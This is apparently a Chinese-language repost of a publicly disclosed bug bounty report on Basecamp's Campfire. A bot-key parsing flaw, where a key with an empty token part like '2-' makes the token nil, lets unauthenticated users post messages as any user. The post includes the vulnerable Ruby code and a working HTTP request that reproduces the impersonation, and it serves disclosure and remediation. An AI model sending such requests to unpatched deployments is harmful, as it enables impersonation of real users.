Basecamp机器人身份验证漏洞分析:任意用户冒充攻击技术细节

本文详细分析了Basecamp平台中存在的机器人身份验证漏洞,攻击者可通过构造特定格式的bot_key参数绕过认证,冒充任意用户发送消息。文章包含漏洞代码分析、攻击复现步骤及修复过程。

Basecamp | 报告 #3329310 - 机器人身份验证不当导致在房间发送消息时可冒充任何用户

漏洞描述

机器人被允许在房间中发送消息,但需要bot密钥进行身份验证。

bot密钥身份验证函数如下:

1
2
3
4
def authenticate_bot(bot_key)
  bot_id, bot_token = bot_key.split("-")
  active.find_by(id: bot_id, bot_token: bot_token)
end

漏洞分析

问题是如果bot_key没有右侧部分(例如:1-),bot_token将为nil,查询将匹配任何bot_id匹配有效ID的User记录。

ID是递增的,如Rails控制台所示,因此可以轻松猜测。它们在某些URL中也可见。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
campfire(prod):038> User.active
=> 
[#<User:0x00007a444e940f18
  id: 1,
  name: "enoent",
  created_at: "2025-09-06 11:59:41.505220000 +0000",
  updated_at: "2025-09-06 14:08:08.788258000 +0000",
  role: "administrator",
  email_address: "[FILTERED]",
  password_digest: "[FILTERED]",
  active: true,
  bio: "<s>ddqsdqsds</s>",
  bot_token: nil>,
 #<User:0x00007a444e940dd8
  id: 2,
  name: "test",
  created_at: "2025-09-06 13:24:29.113250000 +0000",
  updated_at: "2025-09-06 13:42:26.539909000 +0000",
  role: "member",
  email_address: "[FILTERED]",
  password_digest: "[FILTERED]",
  active: true,
  bio: nil,
  bot_token: nil>,
 #<User:0x00007a444e940c98

攻击复现

以下请求展示了该问题,它允许未经身份验证的用户冒充其他用户(此处为ID 2)并以他们的名义发布消息:

1
2
3
4
5
6
7
8
POST /rooms/2/2-/messages HTTP/1.1
Host: localhost:8000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0
Accept: text/vnd.turbo-stream.html, text/html, application/xhtml+xml
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Content-Length: 193

Hello ! I'm the test user, even though I'm not authenticated

附件图片显示消息已成功发布,并且显示来自"test"用户。

影响

未经身份验证的用户可以在被冒充用户有权访问的房间中,以任何用户身份发送任意消息。

时间线

  • 2025年9月6日 - stackered向Basecamp提交报告
  • 2025年9月9日 - jacopo-beschi确认报告有效性
  • 2025年9月10日 - Basecamp向stackered奖励2000美元赏金
  • 2025年9月10日 - 在1.1.8版本中发布修复
  • 2025年9月11日 - stackered确认无法复现该问题
  • 2025年9月11日 - 报告状态更改为已解决
  • 2025年11月21日 - 报告被公开披露

技术详情

  • 报告ID: #3329310
  • 状态: 已解决
  • 严重程度: 高(7 ~ 8.9)
  • 弱点: 不当身份验证 - 通用
  • CVE ID: 无
  • 赏金: 2000美元
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计